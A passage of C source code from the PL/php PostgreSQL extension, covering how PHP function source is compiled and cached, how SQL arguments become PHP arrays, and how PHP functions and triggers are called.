TupleDescGetAttInMetadata(current_tupledesc);\n\n\t/*\n\t * Call the PHP function.  The user code must call return_next, which will\n\t * create and populate the tuplestore appropiately.\n\t */\n\tphpret = plphp_call_php_func(desc, fcinfo TSRMLS_CC);\n\n\t/* We don't use the return value */\n\tzval_dtor(phpret);\n\n\t/* Close the SPI connection */\n\tif (SPI_finish() != SPI_OK_FINISH)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_CONNECTION_DOES_NOT_EXIST),\n\t\t\t\t errmsg(\"could not disconnect from SPI manager\")));\n\n\t/* Now prepare the return values. */\n\trsi->returnMode = SFRM_Materialize;\n\n\tif (current_tuplestore)\n\t{\n\t\trsi->setResult = current_tuplestore;\n\t\trsi->setDesc = current_tupledesc;\n\t}\n\n\tMemoryContextDelete(current_memcxt);\n\tcurrent_memcxt = NULL;\n\tcurrent_tupledesc = NULL;\n\tcurrent_attinmeta = NULL;\n\n\tMemoryContextSwitchTo(oldcxt);\n\n\t/* All done */\n\treturn (Datum) 0;\n}\n\n/*\n * plphp_compile_function\n *\n * \t\tCompile (or hopefully just look up) function\n */\nstatic plphp_proc_desc *\nplphp_compile_function(Oid fnoid, bool is_trigger TSRMLS_DC)\n{\n\tHeapTuple\tprocTup;\n\tForm_pg_proc procStruct;\n\tchar\t\tinternal_proname[64];\n\tplphp_proc_desc *prodesc = NULL;\n\tint\t\t\ti;\n\tchar\t   *pointer = NULL;\n\n\t/*\n\t * We'll need the pg_proc tuple in any case... \n\t */\n\tprocTup = SearchSysCache(PROCOID, ObjectIdGetDatum(fnoid), 0, 0, 0);\n\tif (!HeapTupleIsValid(procTup))\n\t\telog(ERROR, \"cache lookup failed for function %u\", fnoid);\n\tprocStruct = (Form_pg_proc) GETSTRUCT(procTup);\n\n\t/*\n\t * Build our internal procedure name from the function's Oid\n\t */\n\tif (is_trigger)\n\t\tsnprintf(internal_proname, sizeof(internal_proname),\n\t\t\t\t \"plphp_proc_%u_trigger\", fnoid);\n\telse\n\t\tsnprintf(internal_proname, sizeof(internal_proname),\n\t\t\t\t \"plphp_proc_%u\", fnoid);\n\n\t/*\n\t * Look up the internal proc name in the hashtable\n\t */\n\tpointer = plphp_zval_get_cstring(plphp_array_get_elem(plphp_proc_array,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t  internal_proname),\n\t\t\t\t\t\t\t\t\t false, true);\n\tif (pointer)\n\t{\n\t\tbool uptodate;\n\t\tsscanf(pointer, \"%p\", &prodesc);\n\n#ifdef PG_VERSION_83_COMPAT\n\t\t/* PostgreSQL 8.3 doesn't allow calling GetCmin if a tuple doesn't\n\t\t * originate from the current transaction.\n\t\t */\n\t\tuptodate =\n\t\t\t(prodesc->fn_xmin == HeapTupleHeaderGetXmin(procTup->t_data) &&\n\t\t\t prodesc->fn_cmin == HeapTupleHeaderGetRawCommandId(procTup->t_data));\n\n#else\n\t\tuptodate =\n\t\t\t(prodesc->fn_xmin == HeapTupleHeaderGetXmin(procTup->t_data) &&\n\t\t\t prodesc->fn_cmin == HeapTupleHeaderGetCmin(procTup->t_data));\n\n#endif\n\n\n\t\t/* We need to delete the old entry */\n\t\tif (!uptodate)\n\t\t{\n\t\t\t/*\n\t\t\t * FIXME -- use a per-function memory context and fix this\n\t\t\t * stuff for good\n\t\t\t */\n\t\t\tfree(prodesc->proname);\n\t\t\tfree(prodesc);\n\t\t\tprodesc = NULL;\n\t\t}\n\t}\n\n\tif (prodesc == NULL)\n\t{\n\t\tHeapTuple\tlangTup;\n\t\tForm_pg_language langStruct;\n\t\tDatum\t\tprosrcdatum;\n\t\tbool\t\tisnull;\n\t\tchar\t   *proc_source;\n\t\tchar\t   *complete_proc_source;\n\t\tchar\t   *pointer = NULL;\n\t\tchar\t   *aliases = NULL;\n\t\tchar\t   *out_aliases = NULL;\n\t\tchar\t   *out_return_str = NULL;\n\t\tint16\ttyplen;\n\t\tchar\ttypbyval,\n\t\t\t\ttypalign,\n\t\t\t\ttyptype,\n\t\t\t\ttypdelim;\n\t\tOid\t\ttypioparam,\n\t\t\t\ttypinput,\n\t\t\t\ttypoutput;\n\t\t/*\n\t\t * Allocate a new procedure description block\n\t\t */\n\t\tprodesc = (plphp_proc_desc *) malloc(sizeof(plphp_proc_desc));\n\t\tif (!prodesc)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_OUT_OF_MEMORY),\n\t\t\t\t\t errmsg(\"out of memory\")));\n\n\t\tMemSet(prodesc, 0, sizeof(plphp_proc_desc));\n\t\tprodesc->proname = strdup(internal_proname);\n\t\tif (!prodesc->proname)\n\t\t{\n\t\t\tfree(prodesc);\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_OUT_OF_MEMORY),\n\t\t\t\t\t errmsg(\"out of memory\")));\n\t\t}\n\n\t\tprodesc->fn_xmin = HeapTupleHeaderGetXmin(procTup->t_data);\n\n#ifdef PG_VERSION_83_COMPAT\n\t\t/* PostgreSQL 8.3 doesn't allow calling GetCmin if a tuple doesn't\n\t\t * originate from the current transaction.\n\t\t */\n\t\tprodesc->fn_cmin = HeapTupleHeaderGetRawCommandId(procTup->t_data);\n\n#else\n\t\tprodesc->fn_cmin = HeapTupleHeaderGetCmin(procTup->t_data);\n\n#endif\n\n\t\t/*\n\t\t * Look up the pg_language tuple by Oid\n\t\t */\n\t\tlangTup = SearchSysCache(LANGOID,\n\t\t\t\t\t\t\t\t ObjectIdGetDatum(procStruct->prolang),\n\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\tif (!HeapTupleIsValid(langTup))\n\t\t{\n\t\t\tfree(prodesc->proname);\n\t\t\tfree(prodesc);\n\t\t\telog(ERROR, \"cache lookup failed for language %u\",\n\t\t\t\t\t   procStruct->prolang);\n\t\t}\n\t\tlangStruct = (Form_pg_language) GETSTRUCT(langTup);\n\t\tprodesc->trusted = langStruct->lanpltrusted;\n\t\tReleaseSysCache(langTup);\n\n\t\t/*\n\t\t * Get the required information for input conversion of the return\n\t\t * value, and output conversion of the procedure's arguments.\n\t\t */\n\t\tif (!is_trigger)\n\t\t{\n\t\t\tchar  **argnames;\n\t\t\tchar   *argmodes;\n\t\t\tOid    *argtypes;\n\t\t\tint32\talias_str_end,\n\t\t\t\t\tout_str_end;\n\n\t\t\ttyptype = get_typtype(procStruct->prorettype);\n\t\t\tget_type_io_data(procStruct->prorettype,\n\t\t\t\t\t\t\t IOFunc_input,\n\t\t\t\t\t\t\t &typlen,\n\t\t\t\t\t\t\t &typbyval,\n\t\t\t\t\t\t\t &typalign,\n\t\t\t\t\t\t\t &typdelim,\n\t\t\t\t\t\t\t &typioparam,\n\t\t\t\t\t\t\t &typinput);\n\n\t\t\t/*\n\t\t\t * Disallow pseudotype result, except:\n\t\t\t * VOID, RECORD, ANYELEMENT or ANYARRAY\n\t\t\t */\n\t\t\tif (typtype == TYPTYPE_PSEUDO)\n\t\t\t{\n\t\t\t\tif ((procStruct->prorettype == VOIDOID) ||\n\t\t\t\t\t(procStruct->prorettype == RECORDOID) ||\n\t\t\t\t\t(procStruct->prorettype == ANYELEMENTOID) ||\n\t\t\t\t\t(procStruct->prorettype == ANYARRAYOID))\n\t\t\t\t{\n\t\t\t\t\t/* okay */\n\t\t\t\t\tprodesc->ret_type |= PL_PSEUDO;\n\t\t\t\t}\n\t\t\t\telse if (procStruct->prorettype == TRIGGEROID)\n\t\t\t\t{\n\t\t\t\t\tfree(prodesc->proname);\n\t\t\t\t\tfree(prodesc);\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t\t errmsg(\"trigger functions may only be called \"\n\t\t\t\t\t\t\t\t\t\"as triggers\")));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tfree(prodesc->proname);\n\t\t\t\t\tfree(prodesc);\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t\t errmsg(\"plphp functions cannot return type %s\",\n\t\t\t\t\t\t\t\t\tformat_type_be(procStruct->prorettype))));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tprodesc->ret_oid = procStruct->prorettype;\n\t\t\tprodesc->retset = procStruct->proretset;\n\n\t\t\tif (typtype == TYPTYPE_COMPOSITE ||\n\t\t\t\tprocStruct->prorettype == RECORDOID)\n\t\t\t{\n\t\t\t\tprodesc->ret_type |= PL_TUPLE;\n\t\t\t}\n\n\t\t\tif (procStruct->prorettype == ANYARRAYOID)\n\t\t\t\tprodesc->ret_type |= PL_ARRAY;\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* function returns a normal (declared) array */\n\t\t\t\tif (typlen == -1 && get_element_type(procStruct->prorettype))\n\t\t\t\t\tprodesc->ret_type |= PL_ARRAY;\n\t\t\t}\n\n\t\t\tperm_fmgr_info(typinput, &(prodesc->result_in_func));\n\t\t\tprodesc->result_typioparam = typioparam;\n\n\t\t\t/* Deal with named arguments, OUT, IN/OUT and TABLE arguments */\n\n\t\t\tprodesc->n_total_args = get_func_arg_info(procTup, &argtypes, \n\t\t\t\t\t\t\t\t\t\t\t  \t\t  &argnames, &argmodes);\n\t\t\tprodesc->n_out_args = 0;\n\t\t\tprodesc->n_mixed_args = 0;\n\t\t\t\n\t\t\tprodesc->args_out_tupdesc = NULL;\n\t\t\tout_return_str = NULL;\n\t\t\talias_str_end = out_str_end = 0;\n\n\t\t\t/* Count the number of OUT arguments. Need to do this out of the\n\t\t\t * main loop, to correctly determine the object to return for OUT args\n\t\t     */\n\t\t\tif (argmodes)\n\t\t\t\tfor (i = 0; i < prodesc->n_total_args; i++)\n\t\t\t\t{\n\t\t\t\t\tswitch(argmodes[i])\n\t\t\t\t\t{\n\t\t\t\t\t\tcase PROARGMODE_OUT: \n\t\t\t\t\t\t\tprodesc->n_out_args++;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_INOUT: \n\t\t\t\t\t\t\tprodesc->n_mixed_args++;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_IN:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_TABLE:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_VARIADIC:\n\t\t\t\t\t\t\telog(ERROR, \"VARIADIC arguments are not supported\");\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\telog(ERROR, \"Unsupported type %c for argument no %d\",\n\t\t\t\t\t\t\t\t argmodes[i], i);\n\t\t\t\t\t}\t\t\t\t\t\n\t\t\t\t\tprodesc->arg_argmode[i] = argmodes[i];\n\t\t\t\t}\n\t\t\telse\n\t\t\t\tMemSet(prodesc->arg_argmode, PROARGMODE_IN,\n\t\t\t\t \t   prodesc->n_total_args);\n\n\t\t\t/* Allocate memory for argument names unless all of them are OUT*/\n\t\t\tif (argnames && prodesc->n_total_args > 0)\n\t\t\t\taliases = palloc((NAMEDATALEN + 32) * prodesc->n_total_args);\n\t\t\t\n\t\t\t/* Main argument processing loop. */\n\t\t\tfor (i = 0; i < prodesc->n_total_args; i++)\n\t\t\t{\n\t\t\t\tprodesc->arg_typtype[i] = get_typtype(argtypes[i]);\n\t\t\t\tif (prodesc->arg_typtype[i] != TYPTYPE_COMPOSITE)\n\t\t\t\t{\t\t\t\t\t\t\t\n\t\t\t\t\tget_type_io_data(argtypes[i],\n\t\t\t\t\t\t\t\t\t IOFunc_output,\n\t\t\t\t\t\t\t\t\t &typlen,\n\t\t\t\t\t\t\t\t\t &typbyval,\n\t\t\t\t\t\t\t\t\t &typalign,\n\t\t\t\t\t\t\t\t\t &typdelim,\n\t\t\t\t\t\t\t\t\t &typioparam,\n\t\t\t\t\t\t\t\t\t &typoutput);\n\t\t\t\t\tperm_fmgr_info(typoutput, &(prodesc->arg_out_func[i]));\n\t\t\t\t\tprodesc->arg_typioparam[i] = typioparam;\n\t\t\t\t}\n\t\t\t\tif (aliases && argnames[i][0] != '\\0')\n\t\t\t\t{\n\t\t\t\t\tif (!is_valid_php_identifier(argnames[i]))\n\t\t\t\t\t\telog(ERROR, \"\\\"%s\\\" can not be used as a PHP variable name\",\n\t\t\t\t\t\t\t argnames[i]);\n\t\t\t\t\t/* Deal with argument name */\n\t\t\t\t\talias_str_end += snprintf(aliases + alias_str_end,\n\t\t\t\t\t\t\t\t\t\t \t  NAMEDATALEN + 32,\n\t\t\t\t\t\t\t\t   \t\t \t  \" $%s = &$args[%d];\", \n\t\t\t\t\t\t\t\t\t\t\t  argnames[i], i);\n\t\t\t\t}\n\t\t\t\tif ((prodesc->arg_argmode[i] == PROARGMODE_OUT ||\n\t\t\t\t\t prodesc->arg_argmode[i] == PROARGMODE_INOUT) && !prodesc->retset)\n\t\t\t\t{\n\t\t\t\t\t/* Initialiazation for OUT arguments aliases */\n\t\t\t\t\tif (!out_return_str)\n\t\t\t\t\t{\n\t\t\t\t\t\t/* Generate return statment for a single OUT argument */\n\t\t\t\t\t\tout_return_str = palloc(NAMEDATALEN + 32);\n\t\t\t\t\t\tif (prodesc->n_out_args + prodesc->n_mixed_args == 1)\n\t\t\t\t\t\t\tsnprintf(out_return_str, NAMEDATALEN + 32,\n\t\t\t\t\t\t\t\t\t \"return $args[%d];\", i);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t/* PL/PHP deals with multiple OUT arguments by\n\t\t\t\t\t\t\t * internally creating an array of references to them.\n\t\t\t\t\t\t\t * E.g. out_fn(a out integer, b out integer )\n\t\t\t\t\t\t\t * translates into:\n\t\t\t\t\t\t\t * $_plphp_ret_out_fn_1234=array(a => $&a,b => $&b);\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\tchar plphp_ret_array_name[NAMEDATALEN + 16];\n\n\t\t\t\t\t\t\tint array_namelen = snprintf(plphp_ret_array_name,\n\t\t\t\t\t\t\t \t\t\t\t\t\t \t NAMEDATALEN + 16,\n\t\t\t\t\t\t\t\t\t \t\t\t\t \t \"_plphp_ret_%s\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t \t internal_proname);\n\n\t\t\t\t\t\t\tsnprintf(out_return_str, array_namelen + 16,\n\t\t\t\t\t\t\t\t\t\"return $%s;\", plphp_ret_array_name);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t/* 2 NAMEDATALEN for argument names, additional\n\t\t\t\t\t\t\t * 16 bytes per each argument for assignment string,\n\t\t\t\t\t\t\t * additional 16 bytes for the 'array' prefix string.\n\t\t\t\t\t\t\t */\t\t\n\t\t\t\t\t\t\tout_aliases = palloc(array_namelen +\n\t\t\t\t\t\t\t\t\t\t\t\t (prodesc->n_out_args + \n\t\t\t\t\t\t\t\t\t\t\t\t  prodesc->n_mixed_args) *\n\t\t\t\t\t\t\t\t\t\t\t\t (2*NAMEDATALEN + 16) + 16);\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tout_str_end = snprintf(out_aliases,\n\t\t\t\t\t\t\t \t\t\t\t\t   array_namelen +\n\t\t\t\t\t\t\t\t\t\t\t\t   (2 * NAMEDATALEN + 16) + 16,\n\t\t\t\t\t\t\t\t\t\t\t\t   \"$%s = array(&$args[%d]\", \n\t\t\t\t\t\t\t\t\t\t\t\t   plphp_ret_array_name, i);\n\t\t\t\t\t\t\t\t\t\t\t\t   \n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t\telse if (out_aliases)\n\t\t\t\t\t{\n\t\t\t\t\t   /* Add new elements to the array of aliases for OUT args */\n\t\t\t\t\t\tAssert(prodesc->n_out_args + prodesc->n_mixed_args > 1);\n\t\t\t\t\t\tout_str_end += snprintf(out_aliases+out_str_end,\n\t\t\t\t\t\t\t\t\t\t\t\t2 * NAMEDATALEN + 16,\n\t\t\t\t\t\t\t\t\t\t\t\t\",&$args[%d]\", i);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (aliases)\n\t\t\t\tstrcat(aliases, \" \");\n\t\t\tif (out_aliases)\n\t\t\t\tstrcat(out_aliases, \")\");\n\t\t}\n\n\t\t/*\n\t\t * Create the text of the PHP function.  We do not use the same\n\t\t * function name, because that would prevent function overloading.\n\t\t * Sadly this also prevents PL/php functions from calling each other\n\t\t * easily.\n\t\t */\n\t\tprosrcdatum = SysCacheGetAttr(PROCOID, procTup,\n\t\t\t\t\t\t\t\t\t  Anum_pg_proc_prosrc, &isnull);\n\t\tif (isnull)\n\t\t\telog(ERROR, \"cache lookup yielded NULL prosrc\");\n\n\t\tproc_source = DatumGetCString(DirectFunctionCall1(textout,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t  prosrcdatum));\n\n\t\t/* Create the procedure in the interpreter */\n\t\tcomplete_proc_source =\n\t\t\t(char *) palloc(strlen(proc_source) +\n\t\t\t\t\t\t\tstrlen(internal_proname) +\n\t\t\t\t\t\t\t(aliases ? strlen(aliases) : 0) + \n\t\t\t\t\t\t\t(out_aliases ? strlen(out_aliases) : 0) +\n\t\t\t\t\t\t\tstrlen(\"function  ($args, $argc){ } \") + 32 +\n\t\t\t\t\t\t\t(out_return_str ? strlen(out_return_str) : 0));\n\n\t\t/* XXX Is this usage of sprintf safe? */\n\t\tif (is_trigger)\n\t\t\tsprintf(complete_proc_source, \"function %s($_TD){%s}\",\n\t\t\t\t\tinternal_proname, proc_source);\n\t\telse\n\t\t\tsprintf(complete_proc_source, \n\t\t\t\t\t\"function %s($args, $argc){%s %s;%s; %s}\",\n\t\t\t\t\tinternal_proname, \n\t\t\t\t\taliases ? aliases : \"\",\n\t\t\t\t\tout_aliases ? out_aliases : \"\",\n\t\t\t\t\tproc_source, \n\t\t\t\t\tout_return_str? out_return_str : \"\");\n\t\t\t\t\t\n\t\telog(LOG, \"complete_proc_source = %s\",\n\t\t\t\t \t complete_proc_source);\n\t\t\t\t\n\t\tzend_hash_del(CG(function_table), prodesc->proname,\n\t\t\t\t\t  strlen(prodesc->proname) + 1);\n\n\t\tpointer = (char *) palloc(64);\n\t\tsprintf(pointer, \"%p\", (void *) prodesc);\n\t\tadd_assoc_string(plphp_proc_array, internal_proname,\n\t\t\t\t\t\t (char *) pointer, 1);\n\n\t\tif (zend_eval_string(complete_proc_source, NULL,\n\t\t\t\t\t\t\t \"plphp function source\" TSRMLS_CC) == FAILURE)\n\t\t{\n\t\t\t/* the next compilation will blow it up */\n\t\t\tprodesc->fn_xmin = InvalidTransactionId;\n\t\t\telog(ERROR, \"unable to compile function \\\"%s\\\"\",\n\t\t\t\t\t   prodesc->proname);\n\t\t}\n\n\t\tif (aliases)\n\t\t\tpfree(aliases);\n\t\tif (out_aliases)\n\t\t\tpfree(out_aliases);\n\t\tif (out_return_str)\n\t\t\tpfree(out_return_str);\n\t\tpfree(complete_proc_source);\n\t}\n\n\tReleaseSysCache(procTup);\n\n\treturn prodesc;\n}\n\n/*\n * plphp_func_build_args\n * \t\tBuild a PHP array representing the arguments to the function\n */\nstatic zval *\nplphp_func_build_args(plphp_proc_desc *desc, FunctionCallInfo fcinfo TSRMLS_DC)\n{\n\tzval\t   *retval;\n\tint\t\t\ti,j;\n\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\t/* \n\t * The first var iterates over every argument, the second one - over the \n\t * IN or INOUT ones only\n\t */\n\tfor (i = 0, j = 0; i < desc->n_total_args; \n\t\t (j = IS_ARGMODE_OUT(desc->arg_argmode[i]) ? j : j + 1), i++)\n\t{\n\t\t/* Assing NULLs to OUT or TABLE arguments initially */\n\t\tif (IS_ARGMODE_OUT(desc->arg_argmode[i]))\n\t\t{\n\t\t\tadd_next_index_unset(retval);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (desc->arg_typtype[i] == TYPTYPE_PSEUDO)\n\t\t{\n\t\t\tHeapTuple\ttypeTup;\n\t\t\tForm_pg_type typeStruct;\n\n\t\t\ttypeTup = SearchSysCache(TYPEOID,\n\t\t\t\t\t\t\t\t\t ObjectIdGetDatum(get_fn_expr_argtype\n\t\t\t\t\t\t\t\t\t\t\t\t\t  (fcinfo->flinfo, j)),\n\t\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\t\ttypeStruct = (Form_pg_type) GETSTRUCT(typeTup);\n\t\t\tperm_fmgr_info(typeStruct->typoutput,\n\t\t\t\t\t\t   &(desc->arg_out_func[i]));\n\t\t\tdesc->arg_typioparam[i] = typeStruct->typelem;\n\t\t\tReleaseSysCache(typeTup);\n\t\t}\n\n\t\tif (desc->arg_typtype[i] == TYPTYPE_COMPOSITE)\n\t\t{\n\t\t\tif (fcinfo->argnull[j])\n\t\t\t\tadd_next_index_unset(retval);\n\t\t\telse\n\t\t\t{\n\t\t\t\tHeapTupleHeader\ttd;\n\t\t\t\tOid\t\t\t\ttupType;\n\t\t\t\tint32\t\t\ttupTypmod;\n\t\t\t\tTupleDesc\t\ttupdesc;\n\t\t\t\tHeapTupleData\ttmptup;\n\t\t\t\tzval\t\t   *hashref;\n\n\t\t\t\ttd = DatumGetHeapTupleHeader(fcinfo->arg[j]);\n\n\t\t\t\t/* Build a temporary HeapTuple control structure */\n\t\t\t\ttmptup.t_len = HeapTupleHeaderGetDatumLength(td);\n\t\t\t\ttmptup.t_data = DatumGetHeapTupleHeader(fcinfo->arg[j]);\n\n\t\t\t\t/* Extract rowtype info and find a tupdesc */\n\t\t\t\ttupType = HeapTupleHeaderGetTypeId(tmptup.t_data);\n\t\t\t\ttupTypmod = HeapTupleHeaderGetTypMod(tmptup.t_data);\n\t\t\t\ttupdesc = lookup_rowtype_tupdesc(tupType, tupTypmod);\n\n\t\t\t\t/* Build the PHP hash */\n\t\t\t\thashref = plphp_build_tuple_argument(&tmptup, tupdesc);\n\t\t\t\tzend_hash_next_index_insert(retval->value.ht,\n\t\t\t\t\t\t\t\t\t\t\t(void *) &hashref,\n\t\t\t\t\t\t\t\t\t\t\tsizeof(zval *), NULL);\n\t\t\t\t/* Finally release the acquired tupledesc */\n\t\t\t\tReleaseTupleDesc(tupdesc);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (fcinfo->argnull[j])\n\t\t\t\tadd_next_index_unset(retval);\n\t\t\telse\n\t\t\t{\n\t\t\t\tchar\t   *tmp;\n\n\t\t\t\t/*\n\t\t\t\t * TODO room for improvement here: instead of going through the\n\t\t\t\t * output function, figure out if we can just use the native\n\t\t\t\t * representation to pass to PHP.\n\t\t\t\t */\n\n\t\t\t\ttmp =\n\t\t\t\t\tDatumGetCString(FunctionCall3\n\t\t\t\t\t\t\t\t\t(&(desc->arg_out_func[i]),\n\t\t\t\t\t\t\t\t\t fcinfo->arg[j],\n\t\t\t\t\t\t\t\t\t ObjectIdGetDatum(desc->arg_typioparam[i]),\n\t\t\t\t\t\t\t\t\t Int32GetDatum(-1)));\n\t\t\t\t/*\n\t\t\t\t * FIXME -- this is bogus.  Not every value starting with { is\n\t\t\t\t * an array.  Figure out a better method for detecting arrays.\n\t\t\t\t */\n\t\t\t\tif (tmp[0] == '{')\n\t\t\t\t{\n\t\t\t\t\tzval\t   *hashref;\n\n\t\t\t\t\thashref = plphp_convert_from_pg_array(tmp TSRMLS_CC);\n\t\t\t\t\tzend_hash_next_index_insert(retval->value.ht,\n\t\t\t\t\t\t\t\t\t\t\t\t(void *) &hashref,\n\t\t\t\t\t\t\t\t\t\t\t\tsizeof(zval *), NULL);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tadd_next_index_string(retval, tmp, 1);\n\n\t\t\t\t/*\n\t\t\t\t * FIXME - figure out which parameters are passed by\n\t\t\t\t * reference and need freeing\n\t\t\t\t */\n\t\t\t\t/* pfree(tmp); */\n\t\t\t}\n\t\t}\n\t}\n\n\treturn retval;\n}\n\n/*\n * plphp_call_php_func\n * \t\tBuild the function argument array and call the PHP function.\n *\n * We use a private PHP symbol table, so that we can easily destroy everything\n * used during the execution of the function.  We use it to collect the\n * arguments' zvals as well.  We exclude the return value, because it will be\n * used by the caller -- it must be freed there!\n */\nstatic zval *\nplphp_call_php_func(plphp_proc_desc *desc, FunctionCallInfo fcinfo TSRMLS_DC)\n{\n\tzval\t   *retval;\n\tzval\t   *args;\n\tzval\t   *argc;\n\tzval\t   *funcname;\n\tzval\t  **params[2];\n\tchar\t\tcall[64];\n\tHashTable  *orig_symbol_table;\n\tHashTable  *symbol_table;\n\n\tREPORT_PHP_MEMUSAGE(\"going to build function args\");\n\n\tALLOC_HASHTABLE(symbol_table);\n\tzend_hash_init(symbol_table, 0, NULL, ZVAL_PTR_DTOR, 0);\n\n\t/*\n\t * Build the function arguments.  Save a pointer to each new zval in our\n\t * private symbol table, so that we can clean up easily later.\n\t */\n\targs = plphp_func_build_args(desc, fcinfo TSRMLS_CC);\n\tzend_hash_update(symbol_table, \"args\", strlen(\"args\") + 1,\n\t\t\t\t\t (void *) &args, sizeof(zval *), NULL);\n\n\tREPORT_PHP_MEMUSAGE(\"args built. Now the rest ...\");\n\n\tMAKE_STD_ZVAL(argc);\n\tZVAL_LONG(argc, desc->n_total_args);\n\tzend_hash_update(symbol_table, \"argc\", strlen(\"argc\") + 1,\n\t\t\t\t\t (void *) &argc, sizeof(zval *), NULL);\n\n\tparams[0] = &args;\n\tparams[1] = &argc;\n\n\t/* Build the internal function name, and save for later cleaning */\n\tsprintf(call, \"plphp_proc_%u\", fcinfo->flinfo->fn_oid);\n\tMAKE_STD_ZVAL(funcname);\n\tZVAL_STRING(funcname, call, 1);\n\tzend_hash_update(symbol_table, \"funcname\", strlen(\"funcname\") + 1,\n\t\t\t\t\t (void *) &funcname, sizeof(zval *), NULL);\n\n\tREPORT_PHP_MEMUSAGE(\"going to call the function\");\n\n\torig_symbol_table = EG(active_symbol_table);\n\tEG(active_symbol_table) = symbol_table;\n\n\tsaved_symbol_table = EG(active_symbol_table);\n\n\t/* XXX: why no_separation param is 1 is this call ? */\n\tif (call_user_function_ex(CG(function_table), NULL, funcname, &retval,\n\t\t\t\t\t\t\t  2, params, 1, symbol_table TSRMLS_CC) == FAILURE)\n\t\telog(ERROR, \"could not call function \\\"%s\\\"\", call);\n\n\tREPORT_PHP_MEMUSAGE(\"going to free some vars\");\n\n\tsaved_symbol_table = NULL;\n\n\t/* Return to the original symbol table, and clean our private one */\n\tEG(active_symbol_table) = orig_symbol_table;\n\tzend_hash_clean(symbol_table);\n\n\tREPORT_PHP_MEMUSAGE(\"function call done\");\n\n\treturn retval;\n}\n\n/*\n * plphp_call_php_trig\n * \t\tBuild trigger argument array and call the PHP function as a\n * \t\ttrigger.\n *\n * Note we don't need to change the symbol table here like we do in\n * plphp_call_php_func, because we do manual cleaning of each zval used.\n */\nstatic zval *\nplphp_call_php_trig(plphp_proc_desc *desc, FunctionCallInfo fcinfo,\n\t\t\t\t\tzval *trigdata TSRMLS_DC)\n{\n\tzval\t   *retval;\n\tzval\t   *funcname;\n\tchar\t\tcall[64];\n\tzval\t  **params[1];\n\n\tparams[0] = &trigdata;\n\n\t/* Build the internal function name, and save for later cleaning */\n\tsprintf(call, \"plphp_proc_%u_trigger\", fcinfo->flinfo->fn_oid);\n\tMAKE_STD_ZVAL(funcname);\n\tZVAL_STRING(funcname, call, 0);\n\n\t/*\n\t * HACK: mark trigdata as a reference, so it won't be copied in\n\t * call_user_function_ex.  This way the user function will be able to \n\t * modify it, in order to change NEW.\n\t */\n\tZ_SET_ISREF_P(trigdata);\n\n\tif (call_user_function_ex(CG(function_table), NULL, funcname, &retval,\n\t\t\t\t\t\t\t  1, params, 1, NULL TSRMLS_CC) == FAILURE)\n\t\telog(ERROR, \"could not call function \\\"%s\\\"\", call);\n\n\tFREE_ZVAL(funcname);\n\n\t/* Return to the original state */\n\tZ_UNSET_ISREF_P(trigdata);\n\n\treturn retval;\n}\n\n/*\n * plphp_error_cb\n *\n * A callback for PHP error handling.  This is called when the php_error or\n * zend_error function is invoked in our code.  Ideally this function should\n * clean up the PHP state after an ERROR, but zend_try blocks do not seem\n * to work as I'd expect.  So for now, we degrade the error to WARNING and \n * continue executing in the hope that the system doesn't crash later.\n *\n * Note that we do clean up some PHP state by hand but it doesn't seem to\n * work as expected either.\n */\nvoid\nplphp_error_cb(int type, const char *filename, const uint lineno,\n\t   \t\t   const char *fmt, va_list args)\n{\n\tchar\tstr[1024];\n\tint\t\televel;\n\n\tvsnprintf(str, 1024, fmt, args);\n\n\t/*\n\t * PHP error classification is a bitmask, so this conversion is a bit\n\t * bogus.  However, most calls to php_error() use a single bit.\n\t * Whenever more than one is used, we will default to ERROR, so this is\n\t * safe, if a bit excessive.\n\t *\n\t * XXX -- I wonder whether we should promote the WARNINGs to errors as\n\t * well.  PHP has a really stupid way of continuing execution in presence\n\t * of severe problems that I don't see why we should maintain.\n\t */\n\tswitch (type)\n\t{\n\t\tcase E_ERROR:\n\t\tcase E_CORE_ERROR:\n\t\tcase E_COMPILE_ERROR:\n\t\tcase E_USER_ERROR:\n\t\tcase E_PARSE:\n\t\t\televel = ERROR;\n\t\t\tbreak;\n\t\tcase E_WARNING:\n\t\tcase E_CORE_WARNING:\n\t\tcase E_COMPILE_WARNING:\n\t\tcase E_USER_WARNING:\n\t\tcase E_STRICT:\n\t\t\televel = WARNING;\n\t\t\tbreak;\n\t\tcase E_NOTICE:\n\t\tcase E_USER_NOTICE:\n\t\t\televel = NOTICE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\televel = ERROR;\n\t\t\tbreak;\n\t}\n\n\tREPORT_PHP_MEMUSAGE(\"reporting error\");\n\n\t/*\n\t * If this is a severe problem, we need to make PHP aware of it, 